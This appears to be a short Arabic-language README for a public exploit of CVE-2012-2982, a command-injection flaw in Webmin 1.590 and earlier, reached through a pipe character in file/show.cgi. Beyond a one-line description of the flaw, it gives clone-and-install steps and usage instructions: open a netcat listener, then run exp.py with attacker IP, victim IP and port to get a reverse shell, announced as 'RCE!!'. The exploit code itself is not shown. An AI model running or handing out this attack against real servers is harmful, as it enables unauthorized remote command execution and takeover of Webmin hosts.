CVE-2012-2982

الوصف

يسمح ملف file/show.cgi في Webmin 1.590 والإصدارات الأقدم للمستخدمين الموثوقين عن بعد بتنفيذ أوامر تعسفية عبر حرف غير صالح في اسم المسار، كما هو موضح باستخدام الحرف | (pipe).

التثبيت

1. git clone https://github.com/CpyRe/CVE-2012-2982.git
2. pip3 install -r requirements.txt

الاستخدام

1. nc -nlvp <port>
2. python3 exp.py <myip> <vulnip> <port> أو python3 subprocess-exp.py <myip> <vulnip> <port>
3. RCE!!